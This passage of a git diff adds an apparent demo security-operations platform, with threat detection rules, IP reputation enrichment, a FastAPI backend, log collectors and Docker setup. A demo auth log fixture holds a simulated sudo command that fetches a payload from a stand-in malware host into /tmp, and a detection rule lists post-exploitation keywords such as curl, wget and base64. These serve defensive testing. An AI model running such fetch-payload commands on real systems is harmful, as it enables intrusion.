2), + severity=severity, + confidence=round(confidence, 3), + factors={ + "events": len(rel_events), + "findings": len(rel_findings), + "techniques": list({f.technique for f in rel_findings}), + }, + ) diff --git a/agents/threat_detection_agent.py b/agents/threat_detection_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..356b2a8463919af5ea270e957a130c8bfde4dae8 --- /dev/null +++ b/agents/threat_detection_agent.py @@ -0,0 +1,119 @@ +"""Threat detection: rules + lightweight anomaly hooks + LLM-ready findings.""" + +from __future__ import annotations + +from collections import defaultdict +from datetime import datetime, timedelta, timezone + +from models.schemas import DetectionFinding, EnrichedEvent, Severity + +# Sliding window: source_ip -> list of timestamps (failed ssh) +_fail_window: dict[str, list[datetime]] = defaultdict(list) +_burst_window: dict[str, list[datetime]] = defaultdict(list) + + +def _prune(ip: str, window: dict[str, list[datetime]], minutes: int = 15) -> None: + cutoff = datetime.now(timezone.utc) - timedelta(minutes=minutes) + window[ip] = [t for t in window[ip] if t > cutoff] + + +def detect_threats(event: EnrichedEvent) -> list[DetectionFinding]: + findings: list[DetectionFinding] = [] + ip = event.source_ip or "unknown" + now = event.timestamp + + if event.event_type == "auth.ssh_failed": + _prune(ip, _fail_window) + _fail_window[ip].append(now) + if len(_fail_window[ip]) >= 5: + findings.append( + DetectionFinding( + event_id=event.id, + technique="brute_force_ssh", + description=f"Clustered SSH failures from {ip} ({len(_fail_window[ip])} in window)", + confidence=min(0.55 + 0.05 * len(_fail_window[ip]), 0.98), + mitre_technique="T1110", + severity=Severity.HIGH, + ) + ) + + if event.event_type == "auth.ssh_success" and len(_fail_window.get(ip, [])) >= 3: + findings.append( + DetectionFinding( + event_id=event.id, + technique="credential_stuffing_success", + description="Successful SSH after repeated failures — possible stuffing or spray success", + confidence=0.78, + mitre_technique="T1078", + severity=Severity.CRITICAL, + ) + ) + + if event.event_type == "privilege.sudo": + cmd = str(event.normalized.get("command", "")).lower() + if any(x in cmd for x in ("curl", "wget", "chmod 777", "/tmp/", "base64")): + findings.append( + DetectionFinding( + event_id=event.id, + technique="privilege_abuse", + description="Suspicious sudo command chain consistent with post-exploitation", + confidence=0.72, + mitre_technique="T1548", + severity=Severity.HIGH, + ) + ) + else: + findings.append( + DetectionFinding( + event_id=event.id, + technique="privilege_escalation", + description="Interactive privilege elevation observed", + confidence=0.55, + mitre_technique="T1548", + severity=Severity.MEDIUM, + ) + ) + + if event.event_type == "web.request": + code = event.normalized.get("status") + if code in (401, 403): + _prune(ip, _burst_window, minutes=5) + _burst_window[ip].append(now) + if len(_burst_window[ip]) >= 40: + findings.append( + DetectionFinding( + event_id=event.id, + technique="credential_spray", + description="High volume of denied web authentications", + confidence=0.68, + mitre_technique="T1110", + severity=Severity.MEDIUM, + ) + ) + + if event.enrichment.get("reputation") == "malicious": + findings.append( + DetectionFinding( + event_id=event.id, + technique="known_malicious_source", + description="Source matches threat intelligence with elevated confidence", + confidence=float(event.enrichment.get("confidence", 0.85)), + mitre_technique="T1071", + severity=Severity.HIGH, + ) + ) + + if event.event_type == "k8s.event": + if "backoff" in event.message.lower() or "fail" in event.message.lower(): + findings.append( + DetectionFinding( + event_id=event.id, + technique="k8s_anomaly", + description="Kubernetes workload instability — investigate supply chain or runtime compromise", + confidence=0.5, + mitre_technique="T1190", + severity=Severity.MEDIUM, + ) + ) + + return findings diff --git a/agents/threat_enrichment_agent.py b/agents/threat_enrichment_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..bcfadc38fab593ca4cc35d5e1fa502a9ef291c29 --- /dev/null +++ b/agents/threat_enrichment_agent.py @@ -0,0 +1,121 @@ +"""Threat enrichment: geo, ASN, reputation stubs + optional external APIs.""" + +from __future__ import annotations + +import ipaddress +import os +from typing import Any, Optional + +import httpx + +from models.schemas import EnrichedEvent, SecurityEvent + + +async def enrich_event(event: SecurityEvent) -> EnrichedEvent: + ip = event.source_ip + enrichment: dict[str, Any] = {"feeds": [], "cve_hints": []} + + if ip and _is_public_ip(ip): + abuse_key = os.getenv("ABUSEIPDB_API_KEY") + vt_key = os.getenv("VIRUSTOTAL_API_KEY") + otx_key = os.getenv("OTX_API_KEY") + + if abuse_key: + rep = await _abuseipdb(ip, abuse_key) + enrichment.update(rep or {}) + elif vt_key: + enrichment["virustotal"] = await _virustotal_ip(ip, vt_key) + elif otx_key: + enrichment["otx"] = await _otx_pulse(ip, otx_key) + else: + enrichment.update(await _fallback_geo(ip)) + + # Heuristic malicious list for demo + if ip in {"185.220.101.1", "45.33.32.156", "203.0.113.50"}: + enrichment["reputation"] = "malicious" + enrichment["confidence"] = 0.92 + enrichment["feeds"].append("curated_blocklist") + + return EnrichedEvent.model_validate({**event.model_dump(), "enrichment": enrichment}) + + +def _is_public_ip(ip: str) -> bool: + try: + addr = ipaddress.ip_address(ip) + return not (addr.is_private or addr.is_loopback or addr.is_reserved) + except ValueError: + return False + + +async def _fallback_geo(ip: str) -> dict[str, Any]: + """Free tier geoip without API key (demo only).""" + try: + async with httpx.AsyncClient(timeout=5.0) as client: + r = await client.get(f"http://ip-api.com/json/{ip}") + if r.status_code == 200: + data = r.json() + return { + "geo": { + "country": data.get("country"), + "countryCode": data.get("countryCode"), + "city": data.get("city"), + "lat": data.get("lat"), + "lon": data.get("lon"), + "isp": data.get("isp"), + "as": data.get("as"), + }, + "reputation": "unknown", + } + except Exception: # noqa: BLE001 + pass + return {"geo": {}, "reputation": "unknown"} + + +async def _abuseipdb(ip: str, api_key: str) -> Optional[dict[str, Any]]: + try: + async with httpx.AsyncClient(timeout=8.0) as client: + r = await client.get( + "https://api.abuseipdb.com/api/v2/check", + params={"ipAddress": ip, "maxAgeInDays": 90}, + headers={"Key": api_key, "Accept": "application/json"}, + ) + if r.status_code != 200: + return None + data = r.json().get("data", {}) + return { + "abuseipdb": { + "score": data.get("abuseConfidenceScore"), + "total_reports": data.get("totalReports"), + "country": data.get("countryCode"), + }, + "reputation": "malicious" if (data.get("abuseConfidenceScore") or 0) > 25 else "clean", + } + except Exception: # noqa: BLE001 + return None + + +async def _virustotal_ip(ip: str, api_key: str) -> dict[str, Any]: + headers = {"x-apikey": api_key} + try: + async with httpx.AsyncClient(timeout=10.0) as client: + r = await client.get(f"https://www.virustotal.com/api/v3/ip_addresses/{ip}", headers=headers) + if r.status_code != 200: + return {} + stats = (r.json().get("data") or {}).get("attributes", {}).get("last_analysis_stats", {}) + return {"malicious": stats.get("malicious", 0), "harmless": stats.get("harmless", 0)} + except Exception: # noqa: BLE001 + return {} + + +async def _otx_pulse(ip: str, api_key: str) -> dict[str, Any]: + try: + async with httpx.AsyncClient(timeout=10.0) as client: + r = await client.get( + f"https://otx.alienvault.com/api/v1/indicators/IPv4/{ip}/general", + headers={"X-OTX-API-KEY": api_key}, + ) + if r.status_code != 200: + return {} + return {"pulse_count": r.json().get("pulse_info", {}).get("count", 0)} + except Exception: # noqa: BLE001 + return {} diff --git a/api/.gitkeep b/api/.gitkeep new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/backend/__init__.py b/backend/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/backend/app/__init__.py b/backend/app/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/backend/app/main.py b/backend/app/main.py new file mode 100644 index 0000000000000000000000000000000000000000..5fc13b114c819cf280ecbe2fe4159c6ee87b224d --- /dev/null +++ b/backend/app/main.py @@ -0,0 +1,304 @@ +"""SentinelAI FastAPI application — autonomous SOC control plane.""" + +from __future__ import annotations + +import asyncio +import logging +import os +import sys +import time +from contextlib import asynccontextmanager +import threading +from pathlib import Path +from typing import Annotated, Any + +from fastapi import Depends, FastAPI, WebSocket, WebSocketDisconnect +from fastapi.middleware.cors import CORSMiddleware + +ROOT = Path(__file__).resolve().parents[2] +if str(ROOT) not in sys.path: + sys.path.insert(0, str(ROOT)) + +try: + from dotenv import load_dotenv + + load_dotenv(ROOT / ".env") +except ImportError: + pass + +from models.schemas import ( # noqa: E402 + AlertPayload, + DashboardMetrics, + IncidentActionBody, + RawLogIngest, + ReplayStartBody, + WorkflowState, +) +from services.event_hub import EventHub # noqa: E402 +from services.metrics_store import MetricsStore # noqa: E402 + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger("sentinelai.api") + +hub = EventHub() +metrics = MetricsStore() + +# Heavy imports (LangChain, SQLAlchemy models, agents) live inside services.pipeline — defer so uvicorn can bind immediately. +_wire_lock = threading.Lock() + + +class _Services: + __slots__ = ("pipeline", "collector") + + def __init__(self) -> None: + self.pipeline: Any = None + self.collector: Any = None + + +services = _Services() + + +def _wire_pipeline_and_collector_sync() -> None: + """Idempotent; safe across threads.""" + if services.pipeline is not None: + return + with _wire_lock: + if services.pipeline is not None: + return + from collectors.collector_agent import CollectorAgent # noqa: E402 + from services.pipeline import SentinelPipeline # noqa: E402 + + logger.info("Loading SentinelPipeline module (first load can take 10–40s on cold start)") + services.pipeline = SentinelPipeline(hub, metrics) + services.collector = CollectorAgent(services.pipeline.ingest_from_collector) + + +async def get_pipeline_dep() -> Any: + """Dependency for routes that need the SOC pipeline.""" + if services.pipeline is None: + await asyncio.to_thread(_wire_pipeline_and_collector_sync) + return services.pipeline + + +PipelineDep = Annotated[Any, Depends(get_pipeline_dep)] + + +async def _noop(_: dict) -> None: + return None + + +@asynccontextmanager +async def lifespan(app: FastAPI): + """Yield immediately so Uvicorn finishes startup and accepts HTTP (avoids browser ERR_CONNECTION_TIMED_OUT). + + Redis/DB/LangGraph/pipeline wiring run in the background — /health works before collectors attach. + """ + + async def background_startup() -> None: + try: + await metrics.connect_redis() + if os.getenv("SKIP_DB", "").lower() in {"1", "true", "yes"}: + logger.info("SKIP_DB set — skipping PostgreSQL init") + else: + from database.session import init_db # defer heavy SQLAlchemy/asyncpg import + + try: + await init_db() + logger.info("PostgreSQL schema ready") + except Exception as e: # noqa: BLE001 + logger.warning("Database init skipped: %s", e) + + async def langgraph_warmup() -> None: + """Compile + dry-run off the critical path — importing LangGraph can take minutes on cold start.""" + await asyncio.sleep(0) + if os.getenv("SKIP_LANGGRAPH_WARMUP", "").lower() in {"1", "true", "yes"}: + logger.info("SKIP_LANGGRAPH_WARMUP set — skipping LangGraph compile dry-run") + return + try: + from workflows.langgraph_flow import build_soc_graph # defer LangGraph import + + soc_graph = build_soc_graph({"enrich": _noop, "detect": _noop, "correlate": _noop}) + if soc_graph: + timeout = float(os.getenv("LANGGRAPH_WARMUP_TIMEOUT_SEC", "120")) + await asyncio.wait_for( + soc_graph.ainvoke({"notes": [], "bootstrap": True}), + timeout=timeout, + ) + logger.info("LangGraph SOC workflow compiled and dry-run complete") + except asyncio.TimeoutError: + logger.warning( + "LangGraph dry-run timed out after %ss — API is up; graph may compile on first use", + os.getenv("LANGGRAPH_WARMUP_TIMEOUT_SEC", "120"), + ) + except Exception as e: # noqa: BLE001 + logger.warning("LangGraph dry-run skipped: %s", e) + + asyncio.create_task(langgraph_warmup()) + + async def wire_and_run_collectors() -> None: + await asyncio.sleep(0) + await asyncio.to_thread(_wire_pipeline_and_collector_sync) + if services.collector is None: + return + services.collector.start_all_tails() + if os.getenv("ENABLE_MOCK_CLOUD_POLL", "1") == "1": + services.collector.start_mock_cloud_poll() + + asyncio.create_task(wire_and_run_collectors()) + + async def metrics_tick() -> None: + while True: + await asyncio.sleep(60) + metrics.tick_frequency() + + asyncio.create_task(metrics_tick()) + logger.info("Background SOC wiring scheduled (Redis, DB, LangGraph, collectors)") + except Exception: + logger.exception("Background startup failed") + + asyncio.create_task(background_startup()) + logger.info( + "HTTP layer ready — GET /health while Redis, PostgreSQL, LangGraph, and collectors initialize in the background" + ) + yield + if services.collector is not None: + services.collector.stop() + + +app = FastAPI(title="SentinelAI SOC API", version="1.0.0", lifespan=lifespan) +app.add_middleware( + CORSMiddleware, + allow_origins=os.getenv("CORS_ORIGINS", "*").split(","), + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], +) + + +async def get_session(): + if os.getenv("SKIP_DB", "").lower() in {"1", "true", "yes"}: + yield None + return + from database.session import async_session_factory # defer heavy SQLAlchemy/asyncpg import + + async with async_session_factory() as session: + yield session + + +@app.post("/ingest-logs") +async def ingest_logs(body: RawLogIngest, pipeline: PipelineDep, session: Any = Depends(get_session)): + return await pipeline.ingest(body, session) + + +@app.websocket("/live-events") +async def live_events(ws: WebSocket) -> None: + await hub.connect(ws) + try: + for row in list(hub.live_feed)[:80]: + await ws.send_json(row) + while True: + try: + await asyncio.wait_for(ws.receive_text(), timeout=20.0) + except asyncio.TimeoutError: + await ws.send_json({"type": "heartbeat", "ts": time.time()}) + except WebSocketDisconnect: + hub.disconnect(ws) + finally: + hub.disconnect(ws) + + +@app.post("/detect-threats") +async def detect_threats(body: RawLogIngest, pipeline: PipelineDep, session: Any = Depends(get_session)): + return await pipeline.ingest(body, session) + + +@app.post("/correlate-incidents") +async def correlate_incidents(pipeline: PipelineDep): + from agents.incident_correlation_agent import correlate + + incidents = correlate(pipeline._events, pipeline._findings) # noqa: SLF001 + return {"incidents": [i.model_dump(mode="json") for i in incidents]} + + +@app.post("/generate-summary") +async def generate_summary(body: IncidentActionBody, pipeline: PipelineDep, session: Any = Depends(get_session)): + return await pipeline.run_full_workflow_on_incident(body.incident_id, session) + + +@app.post("/remediation") +async def remediation(body: IncidentActionBody, pipeline: PipelineDep, session: Any = Depends(get_session)): + payload = await pipeline.run_full_workflow_on_incident(body.incident_id, session) + return {"remediation": payload.get("remediation")} + + +@app.post("/send-alert") +async def send_alert_endpoint(body: AlertPayload, session: Any = Depends(get_session)): + from agents.alerting_agent import send_alert as _send + from database.models import AlertRecord + + result = await _send(body) + if session is not None: + session.add( + AlertRecord( + channel=body.channel, + title=body.title, + body=body.body, + severity=body.severity.value, + ) + ) + await session.commit() + return result + + +@app.get("/dashboard-metrics") +async def dashboard_metrics() -> DashboardMetrics: + snap = metrics.snapshot() + return DashboardMetrics(**snap) + + +@app.get("/rocm-panel") +async def rocm_panel(): + """AMD ROCm story + demo inference/agent load (simulated GPU sway for UI).""" + return metrics.rocm_panel() + + +@app.get("/agent-activity") +async def agent_activity(): + return {"items": list(hub.agent_log)[:200]} + + +@app.post("/replay/start") +async def replay_start(body: ReplayStartBody = ReplayStartBody()): + """Replay buffered threat_feed / detection / incident frames to all WebSocket clients.""" + hub.schedule_replay(delay_ms=body.delay_ms) + return {"status": "scheduled", "delay_ms": body.delay_ms, "buffered": len(hub.replay_buffer)} + + +@app.get("/replay-buffer") +async def replay_buffer(): + return {"count": len(hub.replay_buffer), "items": list(hub.replay_buffer)} + + +@app.get("/") +async def root(): + """Landing hint — FastAPI did not define `/` before; browsers hitting only the host saw 404.""" + return { + "service": "SentinelAI SOC API", + "docs": "/docs", + "health": "/health", + "openapi_json": "/openapi.json", + } + + +@app.get("/health") +async def health(): + return {"status": "ok", "service": "sentinelai"} + + +@app.get("/workflow-state") +async def workflow_state(pipeline: PipelineDep) -> WorkflowState: + return WorkflowState( + events=pipeline._events[-50:], # noqa: SLF001 + findings=pipeline._findings[-100:], # noqa: SLF001 + incidents=pipeline._incidents[-20:], # noqa: SLF001 + ) diff --git a/collectors/__init__.py b/collectors/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..a58b4ef16ddc9b5ffda8834788e74c9ce9123ab7 --- /dev/null +++ b/collectors/__init__.py @@ -0,0 +1 @@ +"""Log and telemetry collectors.""" diff --git a/collectors/collector_agent.py b/collectors/collector_agent.py new file mode 100644 index 0000000000000000000000000000000000000000..d0ef52b6b50f46ef71487a3db21d5108c1aa5867 --- /dev/null +++ b/collectors/collector_agent.py @@ -0,0 +1,147 @@ +"""Autonomous collector agent: async directory tail + explicit Linux auth.log paths.""" + +from __future__ import annotations + +import asyncio +import logging +import os +from pathlib import Path +from typing import Awaitable, Callable + +from models.schemas import RawLogIngest + +logger = logging.getLogger("sentinelai.collector") + +EmitFn = Callable[[RawLogIngest], Awaitable[None]] + + +class CollectorAgent: + """Runs background collectors and pushes RawLogIngest to the pipeline.""" + + def __init__(self, emit: EmitFn) -> None: + self.emit = emit + self._tasks: list[asyncio.Task] = [] + self._file_positions: dict[str, int] = {} + + def start_all_tails(self) -> None: + """Watch demo directory plus optional explicit files (e.g. /var/log/auth.log).""" + self.start_file_tail() + extra: list[str] = [] + raw_paths = os.getenv("COLLECTOR_FILE_PATHS", "") + extra.extend(p.strip() for p in raw_paths.split(",") if p.strip()) + if os.getenv("COLLECT_AUTH_LOG", "").lower() in {"1", "true", "yes"}: + auth = os.getenv("AUTH_LOG_PATH", "/var/log/auth.log").strip() + if auth: + extra.append(auth) + else: + auth_only = os.getenv("AUTH_LOG_PATH", "").strip() + if auth_only: + extra.append(auth_only) + seen: set[str] = set() + for p in extra: + if p in seen: + continue + seen.add(p) + self._start_single_file_tail(Path(p)) + + def start_file_tail(self, watch_dir: str | None = None) -> None: + base = Path(watch_dir or os.getenv("COLLECTOR_WATCH_DIR", "./demo_logs")) + base.mkdir(parents=True, exist_ok=True) + + async def tail_loop() -> None: + while True: + await self._drain_directory(base, source="file") + await asyncio.sleep(float(os.getenv("COLLECTOR_POLL_SEC", "1.0"))) + + self._tasks.append(asyncio.create_task(tail_loop())) + logger.info("Async file collector tailing directory %s", base) + + def _start_single_file_tail(self, path: Path) -> None: + async def tail_one() -> None: + warned = False + while True: + if not path.is_file(): + if not warned: + logger.warning("Collector waiting for file %s (missing or not readable yet)", path) + warned = True + await asyncio.sleep(float(os.getenv("COLLECTOR_MISSING_RETRY_SEC", "10"))) + continue + warned = False + key = str(path.resolve()) + try: + with path.open("r", encoding="utf-8", errors="ignore") as f: + f.seek(self._file_positions.get(key, 0)) + for line in f: + line = line.strip() + if line: + await self.emit( + RawLogIngest( + source="linux_auth" if "auth.log" in path.name else "file", + raw_line=line, + metadata={"path": key, "host": os.getenv("COLLECTOR_HOSTNAME", "linux-host")}, + ) + ) + self._file_positions[key] = f.tell() + except OSError as e: + logger.debug("tail skip %s: %s", path, e) + await asyncio.sleep(float(os.getenv("COLLECTOR_POLL_SEC", "1.0"))) + + self._tasks.append(asyncio.create_task(tail_one())) + logger.info("Async file collector tailing file %s", path) + + async def _drain_directory(self, base: Path, source: str) -> None: + for path in sorted(base.rglob("*")): + if not path.is_file(): + continue + if path.suffix not in {".log", ".txt", ""}: + continue + key = str(path) + try: + with path.open("r", encoding="utf-8", errors="ignore") as f: + f.seek(self._file_positions.get(key, 0)) + for line in f: + line = line.strip() + if line: + await self.emit( + RawLogIngest( + source=source, + raw_line=line, + metadata={"path": key, "host": os.getenv("COLLECTOR_HOSTNAME", "edge-01")}, + ) + ) + self._file_positions[key] = f.tell() + except OSError as e: + logger.debug("tail skip %s: %s", path, e) + + def stop(self) -> None: + for t in self._tasks: + t.cancel() + + def start_mock_cloud_poll(self) -> None: + async def poll() -> None: + while True: + await asyncio.sleep(30) + await self.emit( + RawLogIngest( + source="cloudtrail_mock", + raw_line='{"event_type":"api.unusual","source_ip":"203.0.113.50","host":"aws","severity":"medium","message":"AssumeRole spike"}', + metadata={"host": "aws-control-plane"}, + ) + ) + + self._tasks.append(asyncio.create_task(poll())) + + async def docker_stream_sample(self) -> None: + try: + import docker # type: ignore + except ImportError: + return + client = docker.from_env() + for c in client.containers.list()[:3]: + try: + for line in c.logs(stream=False, tail=5).decode(errors="ignore").splitlines(): + await self.emit( + RawLogIngest(source="docker", raw_line=line, metadata={"container": c.short_id}) + ) + except Exception as e: # noqa: BLE001 + logger.debug("docker log: %s", e) diff --git a/components/.gitkeep b/components/.gitkeep new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/database/__init__.py b/database/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..666dbb36f4d297c09b0ea4755a991fafc69cf66b --- /dev/null +++ b/database/__init__.py @@ -0,0 +1 @@ +"""Persistence layer.""" diff --git a/database/models.py b/database/models.py new file mode 100644 index 0000000000000000000000000000000000000000..ed7bdf07abec8c9d9c90e5788ec982736cdd8986 --- /dev/null +++ b/database/models.py @@ -0,0 +1,61 @@ +"""SQLAlchemy ORM models for PostgreSQL.""" + +from __future__ import annotations + +import uuid +from datetime import datetime, timezone + +from sqlalchemy import JSON, DateTime, Float, Integer, String, Text +from sqlalchemy.dialects.postgresql import UUID +from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column + + +class Base(DeclarativeBase): + pass + + +class EventRecord(Base): + __tablename__ = "events" + + id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4) + timestamp: Mapped[datetime] = mapped_column(DateTime(timezone=True)) + event_type: Mapped[str] = mapped_column(String(128)) + source_ip: Mapped[str | None] = mapped_column(String(64), nullable=True) + host: Mapped[str] = mapped_column(String(256), default="unknown") + severity: Mapped[str] = mapped_column(String(32)) + payload: Mapped[dict] = mapped_column(JSON, default=dict) + created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc)) + + +class IncidentRecord(Base): + __tablename__ = "incidents" + + id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4) + title: Mapped[str] = mapped_column(String(512)) + summary: Mapped[str] = mapped_column(Text) + graph: Mapped[dict] = mapped_column(JSON, default=dict) + risk_score: Mapped[float] = mapped_column(Float, default=0) + severity: Mapped[str] = mapped_column(String(32)) + created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc)) + + +class AlertRecord(Base): + __tablename__ = "alerts" + + id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4) + channel: Mapped[str] = mapped_column(String(64)) + title: Mapped[str] = mapped_column(String(512)) + body: Mapped[str] = mapped_column(Text) + severity: Mapped[str] = mapped_column(String(32)) + incident_id: Mapped[uuid.UUID | None] = mapped_column(UUID(as_uuid=True), nullable=True) + created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc)) + + +class MetricSnapshot(Base): + __tablename__ = "metric_snapshots" + + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) + threats_detected: Mapped[int] = mapped_column(Integer, default=0) + active_incidents: Mapped[int] = mapped_column(Integer, default=0) + blocked: Mapped[int] = mapped_column(Integer, default=0) + recorded_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc)) diff --git a/database/session.py b/database/session.py new file mode 100644 index 0000000000000000000000000000000000000000..0e5c81c89b920a70b25d552678a2ef5e80e9c34c --- /dev/null +++ b/database/session.py @@ -0,0 +1,35 @@ +"""Async database session factory.""" + +from __future__ import annotations + +import os + +from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine +from sqlalchemy.pool import NullPool + +from database.models import Base + +DATABASE_URL = os.getenv( + "DATABASE_URL", + "postgresql+asyncpg://sentinel:sentinel@localhost:5432/sentinelai", +) + +_connect_args: dict = {} +if "postgresql" in DATABASE_URL and "asyncpg" in DATABASE_URL: + _connect_args["timeout"] = float(os.getenv("DB_CONNECT_TIMEOUT_SEC", "10")) + +engine = create_async_engine( + DATABASE_URL, + echo=False, + poolclass=NullPool, + connect_args=_connect_args or {}, +) + +async_session_factory = async_sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) + + +async def init_db() -> None: + if os.getenv("SKIP_DB", "").lower() in {"1", "true", "yes"}: + return + async with engine.begin() as conn: + await conn.run_sync(Base.metadata.create_all) diff --git a/demo_logs/auth_demo.log b/demo_logs/auth_demo.log new file mode 100644 index 0000000000000000000000000000000000000000..af32334cb1b00d2662105fcbf0165786e7f30b73 --- /dev/null +++ b/demo_logs/auth_demo.log @@ -0,0 +1,7 @@ +Jan 10 10:01:02 edge-01 sshd[1200]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2 +Jan 10 10:01:05 edge-01 sshd[1201]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2 +Jan 10 10:01:08 edge-01 sshd[1202]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2 +Jan 10 10:01:11 edge-01 sshd[1203]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2 +Jan 10 10:01:14 edge-01 sshd[1204]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2 +Jan 10 10:01:20 edge-01 sshd[1205]: Accepted publickey for ubuntu from 185.220.101.1 port 22 ssh2 +Jan 10 10:01:45 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://malware.test/payload -o /tmp/.cache diff --git a/docker/Dockerfile.backend b/docker/Dockerfile.backend new file mode 100644 index 0000000000000000000000000000000000000000..8fa105c9ea27608a064a9db37581c4d319dd3a83 --- /dev/null +++ b/docker/Dockerfile.backend @@ -0,0 +1,21 @@ +# SentinelAI control plane — use ROCm-enabled hosts for GPU inference (see README). +FROM python:3.12-slim + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PYTHONPATH=/app + +WORKDIR /app + +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential \ + libpq-dev \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt /app/requirements.txt +RUN pip install --no-cache-dir -r /app/requirements.txt + +COPY . /app + +EXPOSE 8000 +CMD ["uvicorn", "backend.app.main:app", "--host", "0.0.0.0", "--port", "8000"] diff --git a/docker/Dockerfile.frontend b/docker/Dockerfile.frontend new file mode 100644 index 0000000000000000000000000000000000000000..1c3c016c4c794b0655c34dcc91e3434d4b0e787e --- /dev/null +++ b/docker/Dockerfile.frontend @@ -0,0 +1,22 @@ +FROM node:22-alpine AS deps +WORKDIR /app +COPY frontend/package.json frontend/package-lock.json ./ +RUN npm ci + +FROM node:22-alpine AS builder +WORKDIR /app +COPY --from=deps /app/node_modules ./node_modules +COPY frontend ./ +ENV NEXT_TELEMETRY_DISABLED=1 +RUN npm run build + +FROM node:22-alpine AS runner +WORKDIR /app +ENV NODE_ENV=production +ENV NEXT_TELEMETRY_DISABLED=1 +COPY --from=builder /app/.next ./.next +COPY --from=builder /app/public ./public +COPY --from=builder /app/package.json ./ +COPY --from=builder /app/node_modules ./node_modules +EXPOSE 3000 +CMD ["npm", "run", "start", "--", "-H", "0.0.0.0", "-p", "3000"] diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000000000000000000000000000000000000..69f804c1abdc69c4c561965d49e30a5ccdfbac4f --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,69 @@ +services: + postgres: + image: postgres:16-alpine + environment: + POSTGRES_USER: sentinel + POSTGRES_PASSWORD: sentinel + POSTGRES_DB: sentinelai + ports: + - "5432:5432" + volumes: + - pgdata:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U sentinel -d sentinelai"] + interval: 5s + timeout: 5s + retries: 10 + + redis: + image: redis:7-alpine + ports: + - "6379:6379" + + backend: + build: + context: .. + dockerfile: docker/Dockerfile.backend + environment: + DATABASE_URL: postgresql+asyncpg://sentinel:sentinel@postgres:5432/sentinelai + REDIS_URL: redis://redis:6379/0 + CORS_ORIGINS: http://localhost:3000 + COLLECTOR_WATCH_DIR: /app/demo_logs + OLLAMA_HOST: http://ollama:11434 + ENABLE_MOCK_CLOUD_POLL: "1" + ports: + - "8000:8000" + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_started + volumes: + - ../demo_logs:/app/demo_logs + + frontend: + build: + context: .. + dockerfile: docker/Dockerfile.frontend + environment: + NEXT_PUBLIC_API_URL: http://localhost:8000 + ports: + - "3000:3000" + depends_on: + - backend + + # Optional: attach AMD ROCm Ollama for local Llama 3 / Qwen / Mistral inference. + # Use a ROCm-tagged Ollama image on Linux hosts with AMD GPUs. + # ollama: + # image: ollama/ollama:rocm + # devices: + # - /dev/kfd + # - /dev/dri + # ports: + # - "11434:11434" + # volumes: + # - ollama:/root/.ollama + +volumes: + pgdata: {} + # ollama: {} diff --git a/docs/DEMO_SCRIPT.md b/docs/DEMO_SCRIPT.md new file mode 100644 index 0000000000000000000000000000000000000000..098defff0bf3c3bf57660c996fb4aca3e25ea441 --- /dev/null +++ b/docs/DEMO_SCRIPT.md @@ -0,0 +1,52 @@ +# SentinelAI — Judge Demo Script (do not improvise) + +## Preconditions (2 minutes before) + +1. Terminal A — API: + `cd SentinelAI && source .venv/bin/activate && export PYTHONPATH=$PWD && export SKIP_DB=1` + `uvicorn backend.app.main:app --host 0.0.0.0 --port 8000` +2. Terminal B — UI: + `cd SentinelAI/frontend && NEXT_PUBLIC_API_URL=http://127.0.0.1:8000 npm run dev` +3. Open dashboard at `http://localhost:3000` (or your dev URL). + +## The flow (≈3–4 minutes) + +1. **Start continuous simulation** + Terminal C: `python scripts/continuous_demo.py` + Say: *“This is autonomous traffic — no manual log upload.”* + +2. **Live stream** + Point at **Live Threat Feed** and **terminal strip**. + Say: *“Collector → parser → enrichment → detection — everything is event-driven.”* + +3. **Threat detected** + When **detection** rows appear with severity, say: *“Rules + sliding windows — brute-force and post-auth patterns.”* + +4. **Incident chain** + Point at **Attack Timeline** when an incident appears. + Say: *“Correlation fuses events by source into one narrative.”* + +5. **AI investigation** + Wait for **AI Investigation** to populate (auto-runs after an incident; may take up to ~`AUTO_AI_MIN_SEC` between runs). + Say: *“Analyst layer — progression, severity rationale, remediation bullets — local Llama/Qwen on AMD ROCm when configured.”* + +6. **WOW — Replay** + Click **Replay last chain**. + Say: *“We’re re-streaming the buffered kill chain for the jury 